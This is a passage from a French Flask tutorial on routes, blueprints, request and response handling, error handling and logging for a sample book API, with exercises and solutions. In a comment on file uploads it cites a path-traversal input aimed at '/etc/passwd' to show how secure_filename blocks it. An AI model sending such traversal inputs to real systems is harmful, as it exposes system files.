  @blueprint.before_request -> Avant chaque requête du blueprint uniquement

EXEMPLES CONCRETS :

  from flask import Flask, request, g
  import time
  import logging

  app = Flask(__name__)

  @app.before_request
  def avant_requete():
      """
      Exécuté AVANT chaque requête.
      Peut retourner une réponse pour court-circuiter (bloquer).
      Si retourne None -> la requête continue normalement.
      """
      # Logger la requête entrante
      app.logger.info(f"-> {request.method} {request.path}")

      # Stocker le temps de début pour calculer la durée
      g.debut_requete = time.time()

      # Vérification d'IP bloquée (exemple)
      ip_bloquees = ['192.168.1.999']
      if request.remote_addr in ip_bloquees:
          return {"error": "Accès refusé"}, 403
          # <- Si on retourne quelque chose, la vue N'EST PAS appelée

      # Ne pas retourner -> la requête continue normalement
      return None

  @app.after_request
  def apres_requete(response):
      """
      Exécuté APRÈS chaque requête.
      Reçoit l'objet Response et doit le retourner.
      """
      # Ajouter des en-têtes de sécurité à TOUTES les réponses
      response.headers['X-Content-Type-Options'] = 'nosniff'
      response.headers['X-Frame-Options'] = 'DENY'

      # Calculer et logger la durée de traitement
      if hasattr(g, 'debut_requete'):
          duree = time.time() - g.debut_requete
          app.logger.info(
              f"<- {response.status_code} {request.path} "
              f"({duree*1000:.2f}ms)"
          )

      # Toujours retourner la réponse (modifiée ou non)
      return response

  @app.teardown_request
  def fermeture_requete(exception=None):
      """
      Exécuté après la requête, qu'il y ait une erreur ou non.
      Utile pour fermer les connexions BDD, libérer des ressources.
      """
      if exception:
          app.logger.error(f"Exception pendant la requête : {exception}")
      # Nettoyer les ressources (connexions BDD, etc.)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  8⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 7.1 : Crée les routes suivantes pour BookFlow (sans BDD, avec données fictives) :
    GET /api/v1/livres           -> liste de 3 livres
    GET /api/v1/livres/<int:id>  -> retourne un livre selon l'id (ou 404)
    DELETE /api/v1/livres/<id>   -> retourne 204

  Exercice 7.2 : Ajoute des query params à GET /api/v1/livres :
    ?genre=fantasy -> filtre par genre
    ?page=2        -> numéro de page
    ?limit=5       -> nombre de résultats par page

  Exercice 7.3 : Utilise url_for() pour générer les URLs de tes routes.
    Crée une route /sitemap qui liste toutes les URLs disponibles.

NIVEAU INTERMÉDIAIRE :
  Exercice 7.4 : Refactore ton code en Blueprints :
    - Blueprint livres_bp : routes CRUD livres
    - Blueprint auth_bp : login, register, logout
    - Enregistrer dans l'Application Factory

  Exercice 7.5 : Implémente un before_request qui :
    - Loggue toutes les requêtes (méthode + URL)
    - Bloque les requêtes sans header X-API-Version
    - Calcule la durée et l'ajoute dans un after_request

NIVEAU AVANCÉ :
  Exercice 7.6 : Implémente un système de rate limiting basique dans before_request.
    -> Maximum 10 requêtes par minute par IP
    -> Retourner 429 Too Many Requests si dépassé
    -> Utiliser un dictionnaire en mémoire pour stocker les compteurs


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 7.1 :

  from flask import Flask, jsonify

  app = Flask(__name__)

  # Données fictives (en vrai ce serait en BDD)
  LIVRES = [
      {"id": 1, "titre": "Dune", "auteur": "Frank Herbert", "genre": "science-fiction"},
      {"id": 2, "titre": "Le Hobbit", "auteur": "J.R.R. Tolkien", "genre": "fantasy"},
      {"id": 3, "titre": "1984", "auteur": "George Orwell", "genre": "dystopie"}
  ]

  @app.route('/api/v1/livres', methods=['GET'])
  def get_livres():
      return jsonify({
          "success": True,
          "data": LIVRES,
          "meta": {"total": len(LIVRES)}
      })

  @app.route('/api/v1/livres/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      # Chercher le livre dans notre liste fictive
      livre = next((l for l in LIVRES if l["id"] == livre_id), None)

      if livre is None:
          return jsonify({
              "success": False,
              "error": f"Aucun livre avec l'id {livre_id}"
          }), 404

      return jsonify({"success": True, "data": livre})

  @app.route('/api/v1/livres/<int:livre_id>', methods=['DELETE'])
  def supprimer_livre(livre_id):
      livre = next((l for l in LIVRES if l["id"] == livre_id), None)

      if livre is None:
          return jsonify({"success": False, "error": "Livre non trouvé"}), 404

      # En production, on supprimerait en BDD
      return '', 204  # 204 No Content (pas de body)

  if __name__ == '__main__':
      app.run(debug=True)

CORRIGÉ 7.2 :

  @app.route('/api/v1/livres', methods=['GET'])
  def get_livres():
      # Récupérer les query params avec valeurs par défaut
      genre = request.args.get('genre')                      # None si absent
      page = request.args.get('page', 1, type=int)          # 1 par défaut
      limit = request.args.get('limit', 10, type=int)       # 10 par défaut
      sort = request.args.get('sort', 'titre')              # 'titre' par défaut

      # Validation
      if page < 1:
          return jsonify({"error": "page doit être >= 1"}), 400
      if not (1 <= limit <= 100):
          return jsonify({"error": "limit doit être entre 1 et 100"}), 400

      # Filtrage
      resultats = LIVRES.copy()

      if genre:
          resultats = [l for l in resultats if l.get('genre') == genre]

      # Pagination (simulation)
      total = len(resultats)
      debut = (page - 1) * limit
      fin = debut + limit
      resultats_page = resultats[debut:fin]

      return jsonify({
          "success": True,
          "data": resultats_page,
          "meta": {
              "total": total,
              "page": page,
              "limit": limit,
              "pages": (total + limit - 1) // limit,  # Calcul du nombre de pages
              "filtres": {
                  "genre": genre,
                  "sort": sort
              }
          }
      })

CORRIGÉ 7.4 — Structure avec Blueprints :

  ── app/routes/livres.py ──
  from flask import Blueprint, jsonify, request

  livres_bp = Blueprint('livres', __name__)

  # Données fictives partagées
  LIVRES = [
      {"id": 1, "titre": "Dune", "auteur": "Frank Herbert", "genre": "science-fiction"},
      {"id": 2, "titre": "Le Hobbit", "auteur": "Tolkien", "genre": "fantasy"},
      {"id": 3, "titre": "1984", "auteur": "Orwell", "genre": "dystopie"}
  ]
  prochain_id = 4

  @livres_bp.route('/', methods=['GET'])
  def get_livres():
      genre = request.args.get('genre')
      page = request.args.get('page', 1, type=int)
      limit = request.args.get('limit', 10, type=int)

      resultats = LIVRES.copy()
      if genre:
          resultats = [l for l in resultats if l.get('genre') == genre]

      total = len(resultats)
      debut = (page - 1) * limit
      resultats_page = resultats[debut:debut + limit]

      return jsonify({
          "success": True,
          "data": resultats_page,
          "meta": {"total": total, "page": page, "limit": limit}
      })

  @livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      livre = next((l for l in LIVRES if l["id"] == livre_id), None)
      if not livre:
          return jsonify({"success": False, "error": "Non trouvé"}), 404
      return jsonify({"success": True, "data": livre})

  @livres_bp.route('/', methods=['POST'])
  def creer_livre():
      global prochain_id
      data = request.get_json()

      if not data or 'titre' not in data or 'auteur' not in data:
          return jsonify({
              "success": False,
              "error": "titre et auteur sont obligatoires"
          }), 400

      nouveau = {
          "id": prochain_id,
          "titre": data['titre'],
          "auteur": data['auteur'],
          "genre": data.get('genre', 'non classé')
      }
      LIVRES.append(nouveau)
      prochain_id += 1

      return jsonify({"success": True, "data": nouveau}), 201

  @livres_bp.route('/<int:livre_id>', methods=['DELETE'])
  def supprimer_livre(livre_id):
      global LIVRES
      livre = next((l for l in LIVRES if l["id"] == livre_id), None)
      if not livre:
          return jsonify({"success": False, "error": "Non trouvé"}), 404
      LIVRES = [l for l in LIVRES if l["id"] != livre_id]
      return '', 204

  ── app/routes/auth.py ──
  from flask import Blueprint, jsonify, request

  auth_bp = Blueprint('auth', __name__)

  @auth_bp.route('/login', methods=['POST'])
  def login():
      data = request.get_json()
      email = data.get('email')
      password = data.get('password')

      if not email or not password:
          return jsonify({"error": "email et password requis"}), 400

      # Simulation (en vrai on vérifierait en BDD)
      if email == "admin@bookflow.com" and password == "password123":
          return jsonify({
              "success": True,
              "token": "faux-token-jwt-pour-linstant",
              "user": {"email": email, "role": "admin"}
          })

      return jsonify({"success": False, "error": "Identifiants invalides"}), 401

  @auth_bp.route('/register', methods=['POST'])
  def register():
      data = request.get_json()
      if not data.get('email') or not data.get('password'):
          return jsonify({"error": "email et password requis"}), 400

      return jsonify({
          "success": True,
          "message": "Compte créé",
          "email": data.get('email')
      }), 201

  ── app/__init__.py ──
  from flask import Flask

  def create_app(config_name='development'):
      app = Flask(__name__)

      from .routes.livres import livres_bp
      from .routes.auth import auth_bp

      app.register_blueprint(livres_bp, url_prefix='/api/v1/livres')
      app.register_blueprint(auth_bp, url_prefix='/api/v1/auth')

      @app.route('/health')
      def health():
          return {"status": "OK", "app": "BookFlow API"}

      return app

CORRIGÉ 7.6 — Rate Limiting basique :

  from flask import Flask, request, jsonify
  from datetime import datetime, timedelta
  from collections import defaultdict
  import threading

  app = Flask(__name__)

  # Stockage des compteurs (en production, utiliser Redis !)
  compteurs_ip = defaultdict(list)  # {ip: [timestamp1, timestamp2, ...]}
  verrou = threading.Lock()         # Pour la thread-safety

  LIMITE_REQUETES = 10       # Max requêtes
  FENETRE_SECONDES = 60      # Par minute

  @app.before_request
  def verifier_rate_limit():
      """Vérifie si l'IP a dépassé la limite de requêtes."""
      ip = request.remote_addr
      maintenant = datetime.now()
      fenetre_debut = maintenant - timedelta(seconds=FENETRE_SECONDES)

      with verrou:
          # Nettoyer les timestamps anciens
          compteurs_ip[ip] = [
              t for t in compteurs_ip[ip]
              if t > fenetre_debut
          ]

          # Vérifier la limite
          nb_requetes = len(compteurs_ip[ip])

          if nb_requetes >= LIMITE_REQUETES:
              # Calculer quand la limite sera réinitialisée
              plus_ancien = min(compteurs_ip[ip])
              reset_dans = int((plus_ancien + timedelta(seconds=FENETRE_SECONDES)
                               - maintenant).total_seconds())

              response = jsonify({
                  "success": False,
                  "error": "Trop de requêtes",
                  "retry_after": reset_dans
              })
              response.headers['X-RateLimit-Limit'] = LIMITE_REQUETES
              response.headers['X-RateLimit-Remaining'] = 0
              response.headers['Retry-After'] = reset_dans
              return response, 429

          # Ajouter le timestamp de cette requête
          compteurs_ip[ip].append(maintenant)
          nb_restantes = LIMITE_REQUETES - nb_requetes - 1

      # Continuer normalement (None = pas de blocage)
      # Note : on ne peut pas ajouter d'en-têtes ici (avant la réponse)
      return None


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                CHAPITRE 8 — REQUÊTES ET RÉPONSES : request & response                ║
║                Maîtriser les données qui entrent et sortent de ton API               ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  L'OBJET request EN DÉTAIL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

L'objet request de Flask contient TOUT sur la requête HTTP entrante.
Il est disponible dans toutes les fonctions de vue et les hooks.

  from flask import request

  @app.route('/tout-sur-la-requete')
  def inspecter_requete():
      infos = {
          # MÉTHODE ET URL
          "method":      request.method,          # "GET", "POST", "PUT", etc.
          "url":         request.url,              # URL complète
          "base_url":    request.base_url,         # Sans query string
          "path":        request.path,             # Chemin sans domaine
          "full_path":   request.full_path,        # Chemin + query string
          "host":        request.host,             # "localhost:5000"
          "host_url":    request.host_url,         # "http://localhost:5000/"

          # EN-TÊTES
          "headers":     dict(request.headers),   # Tous les en-têtes
          "content_type": request.content_type,   # "application/json"
          "user_agent":  request.user_agent.string,

          # PARAMÈTRES
          "args":        dict(request.args),       # Query string
          "form":        dict(request.form),       # Formulaire HTML
          "json":        request.get_json(),       # Body JSON (ou None)
          "data":        request.data.decode(),    # Body brut (bytes->string)

          # AUTHENTIFICATION ET SÉCURITÉ
          "remote_addr": request.remote_addr,      # IP du client
          "is_secure":   request.is_secure,        # HTTPS ?
          "is_json":     request.is_json,          # Content-Type est JSON ?

          # COOKIES
          "cookies":     dict(request.cookies),
      }
      return jsonify(infos)

ACCÉDER AU BODY JSON — CAS LES PLUS COURANTS :

  @app.route('/api/v1/livres', methods=['POST'])
  def creer_livre():
      # Méthode 1 : get_json() — RECOMMANDÉE
      data = request.get_json()
      # -> Retourne None si le body n'est pas du JSON valide
      # -> Retourne None si Content-Type n'est pas application/json

      # Méthode 2 : get_json(force=True) — Ignore Content-Type
      data = request.get_json(force=True)
      # -> Essaie de parser même si Content-Type n'est pas application/json
      # -> Moins strict, parfois utile pour les tests

      # Méthode 3 : get_json(silent=True) — Pas d'erreur si invalide
      data = request.get_json(silent=True)
      # -> Retourne None au lieu de lever une erreur si JSON invalide

      # Vérification que le body existe et est valide
      if data is None:
          return jsonify({"error": "Body JSON manquant ou invalide"}), 400

      # Récupérer les champs avec gestion des manquants
      titre = data.get('titre')
      auteur = data.get('auteur')
      pages = data.get('pages', 0)        # Valeur par défaut
      disponible = data.get('disponible', True)

      if not titre or not auteur:
          return jsonify({
              "error": "Champs obligatoires",
              "details": {
                  "titre": "Requis" if not titre else None,
                  "auteur": "Requis" if not auteur else None
              }
          }), 400

      # Créer le livre...
      return jsonify({"message": "Livre créé", "titre": titre}), 201

ACCÉDER AUX EN-TÊTES :

  @app.route('/api/ressource-protegee')
  def ressource_protegee():
      # Récupérer un en-tête spécifique
      auth_header = request.headers.get('Authorization')
      # -> "Bearer eyJhbGciOiJIUzI1NiJ9..."

      # En-tête custom
      version_api = request.headers.get('X-API-Version', '1')

      # Vérifier si l'en-tête est présent
      if not auth_header:
          return jsonify({"error": "Authorization header manquant"}), 401

      if not auth_header.startswith('Bearer '):
          return jsonify({"error": "Format: Bearer <token>"}), 401

      # Extraire le token
      token = auth_header.split(' ')[1]  # -> "eyJhbGciOiJIUzI1NiJ9..."

      return jsonify({"token_reçu": token[:20] + "..."})

UPLOAD DE FICHIERS :

  @app.route('/api/upload', methods=['POST'])
  def upload_fichier():
      # Les fichiers sont dans request.files
      if 'fichier' not in request.files:
          return jsonify({"error": "Aucun fichier envoyé"}), 400

      fichier = request.files['fichier']

      if fichier.filename == '':
          return jsonify({"error": "Nom de fichier vide"}), 400

      # Sécuriser le nom de fichier (IMPORTANT !)
      from werkzeug.utils import secure_filename
      import os

      nom_securise = secure_filename(fichier.filename)
      # secure_filename empêche les attaques path traversal
      # "../../etc/passwd" -> "etc_passwd"

      # Vérifier l'extension
      EXTENSIONS_AUTORISEES = {'pdf', 'jpg', 'png', 'epub'}
      extension = nom_securise.rsplit('.', 1)[-1].lower()

      if extension not in EXTENSIONS_AUTORISEES:
          return jsonify({"error": f"Extension non autorisée: {extension}"}), 400

      # Sauvegarder le fichier
      dossier_upload = 'uploads/'
      os.makedirs(dossier_upload, exist_ok=True)
      chemin = os.path.join(dossier_upload, nom_securise)
      fichier.save(chemin)

      return jsonify({
          "success": True,
          "nom_fichier": nom_securise,
          "chemin": chemin
      }), 201


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  L'OBJET Response EN DÉTAIL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask offre plusieurs façons de retourner une réponse HTTP.

TYPES DE RETOURS FLASK :

  from flask import Flask, jsonify, Response, make_response

  app = Flask(__name__)

  # 1. STRING -> texte/html, code 200
  @app.route('/texte')
  def retour_texte():
      return "Hello World"
      # HTTP/1.1 200 OK
      # Content-Type: text/html

  # 2. DICT ou LIST -> JSON automatique (Flask 2.2+)
  @app.route('/json-auto')
  def retour_dict():
      return {"message": "Bonjour", "data": [1, 2, 3]}
      # HTTP/1.1 200 OK
      # Content-Type: application/json

  # 3. TUPLE (body, status_code) -> contrôle du code HTTP
  @app.route('/avec-code')
  def retour_avec_code():
      return {"message": "Créé"}, 201
      # -> {"message": "Créé"} avec code 201

  # 4. TUPLE (body, status_code, headers) -> contrôle total
  @app.route('/avec-headers')
  def retour_avec_headers():
      return {"message": "OK"}, 200, {
          "X-Custom-Header": "ValeurCustom",
          "Cache-Control": "no-cache"
      }

  # 5. jsonify() -> explicite, recommandé pour les API
  @app.route('/jsonify')
  def retour_jsonify():
      return jsonify({
          "success": True,
          "data": {"id": 1, "titre": "Dune"}
      }), 200

  # 6. make_response() -> contrôle maximal
  @app.route('/response-objet')
  def retour_response_objet():
      # Créer l'objet de réponse
      response = make_response(
          jsonify({"message": "Réponse personnalisée"})
      )

      # Modifier la réponse
      response.status_code = 200
      response.headers['X-BookFlow-Version'] = '1.0'
      response.headers['Cache-Control'] = 'max-age=300'

      # Définir un cookie
      response.set_cookie(
          'session_id',
          value='abc123',
          max_age=3600,          # Expire dans 1h
          httponly=True,         # Pas accessible en JS (sécurité)
          secure=True,           # HTTPS uniquement (production)
          samesite='Lax'         # Protection CSRF
      )

      return response

  # 7. Response brut -> pour les fichiers, streams
  @app.route('/csv-download')
  def telecharger_csv():
      contenu_csv = "id,titre,auteur\n1,Dune,Herbert\n2,Foundation,Asimov"

      response = Response(
          contenu_csv,
          mimetype='text/csv',
          headers={
              "Content-Disposition": "attachment; filename=livres.csv"
          }
      )
      return response


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  jsonify() EN DÉTAIL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

jsonify() est la fonction Flask pour créer des réponses JSON propres.

  from flask import jsonify
  from datetime import datetime

  @app.route('/api/v1/livres/1')
  def exemple_jsonify():
      # jsonify gère automatiquement :
      # - La sérialisation en JSON
      # - Content-Type: application/json
      # - L'encodage UTF-8 (accents, etc.)

      livre = {
          "id": 1,
          "titre": "Le Petit Prince",
          "auteur": "Antoine de Saint-Exupéry",  # Accent géré
          "pages": 96,
          "disponible": True,
          "prix": 8.90,
          "tags": ["classique", "jeunesse"],
          "created_at": datetime.utcnow().isoformat()  # datetime -> string ISO
      }

      return jsonify(livre), 200

  # JSONIFY AVEC UNE LISTE :
  @app.route('/api/v1/livres')
  def liste_livres():
      livres = [
          {"id": 1, "titre": "Dune"},
          {"id": 2, "titre": "Foundation"}
      ]
      return jsonify(livres)  # Liste -> JSON array

  # DIFFÉRENCE jsonify() vs json.dumps() :
  # json.dumps() -> retourne une STRING Python
  # jsonify()    -> retourne un objet Response Flask (avec bon Content-Type)

  # GESTION DES TYPES PYTHON NON SÉRIALISABLES :
  # datetime, Decimal, UUID ne sont pas sérialisables par défaut en JSON
  # Solutions :
  import json
  from decimal import Decimal
  from uuid import UUID

  class EncodeurCustom(json.JSONEncoder):
      """Encodeur JSON qui gère les types Python spéciaux."""
      def default(self, obj):
          if isinstance(obj, datetime):
              return obj.isoformat()
          if isinstance(obj, Decimal):
              return float(obj)
          if isinstance(obj, UUID):
              return str(obj)
          return super().default(obj)

  # Configurer Flask pour utiliser cet encodeur
  app.json_provider_class = ...  # Plus complexe, voir la doc Flask


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  GESTION DES ERREURS HTTP AVEC abort()
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from flask import Flask, jsonify, abort

  app = Flask(__name__)

  @app.route('/api/v1/livres/<int:livre_id>')
  def get_livre(livre_id):
      livre = trouver_livre(livre_id)

      if livre is None:
          # abort() arrête immédiatement et renvoie le code HTTP
          abort(404)  # Flask renvoie une page d'erreur HTML par défaut

      return jsonify(livre)

PERSONNALISER LES PAGES D'ERREUR :

  @app.errorhandler(404)
  def erreur_404(error):
      """Gestionnaire d'erreur 404 personnalisé."""
      return jsonify({
          "success": False,
          "error": {
              "code": 404,
              "message": "La ressource demandée n'existe pas",
              "url": request.url
          }
      }), 404

  @app.errorhandler(405)
  def erreur_405(error):
      """Méthode HTTP non autorisée."""
      return jsonify({
          "success": False,
          "error": {
              "code": 405,
              "message": f"Méthode {request.method} non autorisée pour cette URL",
              "url": request.url
          }
      }), 405

  @app.errorhandler(500)
  def erreur_500(error):
      """Erreur serveur interne."""
      app.logger.error(f"Erreur 500 : {error}")
      return jsonify({
          "success": False,
          "error": {
              "code": 500,
              "message": "Erreur interne du serveur"
              # [ATTENTION] Ne jamais exposer les détails en production !
          }
      }), 500

  @app.errorhandler(Exception)
  def erreur_generique(error):
      """Capture toutes les exceptions non gérées."""
      app.logger.exception(f"Exception non gérée : {error}")
      return jsonify({
          "success": False,
          "error": {"code": 500, "message": "Une erreur inattendue s'est produite"}
      }), 500

ABORT AVEC DESCRIPTION PERSONNALISÉE :

  from werkzeug.exceptions import HTTPException

  @app.route('/api/v1/livres/<int:livre_id>')
  def get_livre(livre_id):
      if livre_id < 1:
          abort(400, description="L'ID doit être un entier positif")

      livre = trouver_livre(livre_id)
      if not livre:
          abort(404, description=f"Aucun livre avec l'id {livre_id}")

      return jsonify(livre)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 8.1 : Crée un endpoint POST /api/v1/livres qui :
    - Lit le body JSON
    - Valide que 'titre' et 'auteur' sont présents
    - Retourne l'objet créé avec un id généré

  Exercice 8.2 : Ajoute des gestionnaires d'erreurs personnalisés pour
    404, 400, et 500 qui retournent du JSON propre.

  Exercice 8.3 : Crée un endpoint GET /api/v1/me/avatar qui retourne
    un fichier image (ou simule le retour d'un fichier binaire).

NIVEAU INTERMÉDIAIRE :
  Exercice 8.4 : Implémente la validation complète du body JSON pour
    la création d'un livre :
    - titre : requis, max 200 caractères
    - auteur : requis
    - pages : optionnel, entier positif
    - isbn : optionnel, format valide (13 chiffres)
    - genre : optionnel, doit être dans une liste autorisée

NIVEAU AVANCÉ :
  Exercice 8.5 : Crée un endpoint GET /api/v1/livres/export qui génère
    un fichier CSV avec tous les livres et le retourne en téléchargement.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 8.1 :

  from flask import Flask, jsonify, request
  import uuid

  app = Flask(__name__)

  livres_db = []  # Simule une base de données

  @app.route('/api/v1/livres', methods=['POST'])
  def creer_livre():
      # Vérifier que le body est JSON
      if not request.is_json:
          return jsonify({
              "success": False,
              "error": "Content-Type doit être application/json"
          }), 400

      data = request.get_json()

      if data is None:
          return jsonify({
              "success": False,
              "error": "Body JSON invalide"
          }), 400

      # Valider les champs requis
      erreurs = {}
      if not data.get('titre'):
          erreurs['titre'] = "Ce champ est obligatoire"
      if not data.get('auteur'):
          erreurs['auteur'] = "Ce champ est obligatoire"

      if erreurs:
          return jsonify({
              "success": False,
              "error": "Validation échouée",
              "details": erreurs
          }), 400

      # Créer le livre
      nouveau_livre = {
          "id": len(livres_db) + 1,
          "titre": data['titre'].strip(),
          "auteur": data['auteur'].strip(),
          "pages": data.get('pages', 0),
          "genre": data.get('genre', 'non classé'),
          "disponible": True
      }

      livres_db.append(nouveau_livre)

      return jsonify({
          "success": True,
          "message": "Livre créé avec succès",
          "data": nouveau_livre
      }), 201

CORRIGÉ 8.4 — Validation complète :

  import re
  from flask import Flask, jsonify, request

  app = Flask(__name__)

  GENRES_AUTORISES = [
      'science-fiction', 'fantasy', 'dystopie', 'policier',
      'romance', 'historique', 'biographie', 'philosophie',
      'informatique', 'autre'
  ]

  def valider_livre(data):
      """
      Valide les données d'un livre.
      Retourne (données_valides, erreurs) où erreurs est un dict.
      """
      erreurs = {}
      donnees_validees = {}

      # TITRE — requis, max 200 chars
      titre = data.get('titre', '').strip()
      if not titre:
          erreurs['titre'] = "Le titre est obligatoire"
      elif len(titre) > 200:
          erreurs['titre'] = f"Le titre ne peut pas dépasser 200 caractères (actuel: {len(titre)})"
      else:
          donnees_validees['titre'] = titre

      # AUTEUR — requis
      auteur = data.get('auteur', '').strip()
      if not auteur:
          erreurs['auteur'] = "L'auteur est obligatoire"
      elif len(auteur) > 100:
          erreurs['auteur'] = "L'auteur ne peut pas dépasser 100 caractères"
      else:
          donnees_validees['auteur'] = auteur

      # PAGES — optionnel, entier positif
      if 'pages' in data:
          pages = data['pages']
          if not isinstance(pages, int) or pages < 0:
              erreurs['pages'] = "Les pages doivent être un entier positif"
          elif pages > 50000:
              erreurs['pages'] = "Valeur de pages irréaliste (max 50000)"
          else:
              donnees_validees['pages'] = pages
      else:
          donnees_validees['pages'] = 0

      # ISBN — optionnel, 13 chiffres
      if 'isbn' in data and data['isbn']:
          isbn = str(data['isbn']).replace('-', '').replace(' ', '')
          if not re.match(r'^\d{13}$', isbn):
              erreurs['isbn'] = "L'ISBN doit contenir exactement 13 chiffres"
          else:
              donnees_validees['isbn'] = isbn

      # GENRE — optionnel, doit être dans la liste
      if 'genre' in data and data['genre']:
          genre = data['genre'].lower().strip()
          if genre not in GENRES_AUTORISES:
              erreurs['genre'] = f"Genre invalide. Valeurs acceptées : {GENRES_AUTORISES}"
          else:
              donnees_validees['genre'] = genre
      else:
          donnees_validees['genre'] = 'autre'

      return donnees_validees, erreurs

  @app.route('/api/v1/livres', methods=['POST'])
  def creer_livre():
      if not request.is_json:
          return jsonify({"error": "Content-Type: application/json requis"}), 400

      data = request.get_json(silent=True)
      if data is None:
          return jsonify({"error": "JSON invalide"}), 400

      donnees_valides, erreurs = valider_livre(data)

      if erreurs:
          return jsonify({
              "success": False,
              "error": "Données invalides",
              "details": erreurs
          }), 400

      # Créer le livre avec les données validées
      nouveau_livre = {
          "id": 1,
          **donnees_valides,
          "disponible": True
      }

      return jsonify({"success": True, "data": nouveau_livre}), 201

CORRIGÉ 8.5 — Export CSV :

  import csv
  import io
  from flask import Flask, Response

  app = Flask(__name__)

  LIVRES = [
      {"id": 1, "titre": "Dune", "auteur": "Frank Herbert", "pages": 900, "genre": "science-fiction"},
      {"id": 2, "titre": "Le Hobbit", "auteur": "J.R.R. Tolkien", "pages": 310, "genre": "fantasy"},
      {"id": 3, "titre": "1984", "auteur": "George Orwell", "pages": 328, "genre": "dystopie"}
  ]

  @app.route('/api/v1/livres/export', methods=['GET'])
  def exporter_livres_csv():
      """Exporte tous les livres en CSV téléchargeable."""

      # Créer le buffer CSV en mémoire (pas de fichier sur disque)
      buffer = io.StringIO()

      # Définir les colonnes
      champs = ['id', 'titre', 'auteur', 'pages', 'genre']
      writer = csv.DictWriter(
          buffer,
          fieldnames=champs,
          extrasaction='ignore'  # Ignorer les champs non listés
      )

      # Écrire l'en-tête
      writer.writeheader()

      # Écrire les données
      for livre in LIVRES:
          writer.writerow(livre)

      # Récupérer le contenu CSV
      contenu_csv = buffer.getvalue()
      buffer.close()

      # Créer la réponse HTTP
      response = Response(
          contenu_csv,
          status=200,
          mimetype='text/csv; charset=utf-8'
      )

      # En-tête pour forcer le téléchargement dans le navigateur
      response.headers['Content-Disposition'] = (
          'attachment; filename="bookflow_livres.csv"'
      )
      response.headers['Content-Length'] = len(contenu_csv.encode('utf-8'))

      return response

  # Test :
  # curl http://localhost:5000/api/v1/livres/export > livres.csv
  # -> Télécharge un fichier CSV avec tous les livres


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                CHAPITRE 9 — MODE DEBUG, LOGS ET GESTION DES ERREURS                  ║
║              Les outils pour trouver et corriger les bugs rapidement                 ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  LE MODE DEBUG FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le mode debug est ton meilleur ami pendant le développement.
Il active deux fonctionnalités puissantes :

  RECHARGEMENT AUTOMATIQUE (Auto-reload) :
  -> Quand tu modifies un fichier Python, Flask redémarre automatiquement
  -> Tu n'as pas à relancer le serveur manuellement
  -> Économie de temps énorme !

  DEBUGGER INTERACTIF (Werkzeug Debugger) :
  -> Quand une erreur survient, Flask affiche une page d'erreur détaillée
  -> Tu vois le stack trace complet
  -> Tu peux même exécuter du code Python directement dans la page d'erreur !
  -> [ATTENTION] JAMAIS activer en production (faille de sécurité majeure)

ACTIVER LE MODE DEBUG :

  # Méthode 1 : Variable d'environnement (recommandée)
  # .env
  FLASK_DEBUG=1
  # Puis : flask run

  # Méthode 2 : Dans le code (pas recommandé)
  if __name__ == '__main__':
      app.run(debug=True)

  # Méthode 3 : Via la config
  app.config['DEBUG'] = True  # (Mais préférer les variables d'env)

INFORMATIONS AFFICHÉES PAR LE DEBUGGER WERKZEUG :

  Quand une exception se produit en mode debug, Flask affiche :
  - Le type de l'exception (TypeError, KeyError, etc.)
  - Le message d'erreur
  - Le traceback complet (call stack)
  - Le code source avec la ligne problématique mise en évidence
  - Un shell interactif pour chaque niveau du traceback

PIN DE SÉCURITÉ DU DEBUGGER :
  En mode debug, Werkzeug génère un PIN de sécurité affiché au démarrage :
  " * Debugger PIN: 123-456-789"
  Tu dois entrer ce PIN pour accéder au shell interactif.
  Ce PIN change à chaque redémarrage.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  LOGGING EN FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le logging est ESSENTIEL pour déboguer en production (où tu n'as pas le debugger).
Flask intègre le module logging Python standard.

NIVEAUX DE LOGGING (du moins grave au plus grave) :

  DEBUG    -> Informations détaillées pour le débogage
  INFO     -> Confirmation que tout fonctionne normalement
  WARNING  -> Quelque chose d'inattendu, mais l'app continue
  ERROR    -> Une erreur qui empêche une fonction de s'exécuter
  CRITICAL -> Erreur grave, l'app ne peut plus fonctionner

UTILISATION DU LOGGER FLASK :

  from flask import Flask, request

  app = Flask(__name__)

  @app.route('/api/test-logs')
  def test_logs():
      # Utiliser app.logger (logger intégré Flask)
      app.logger.debug("Niveau DEBUG : très détaillé")
      app.logger.info("Niveau INFO : information normale")
      app.logger.warning("Niveau WARNING : attention !")
      app.logger.error("Niveau ERROR : quelque chose a échoué")
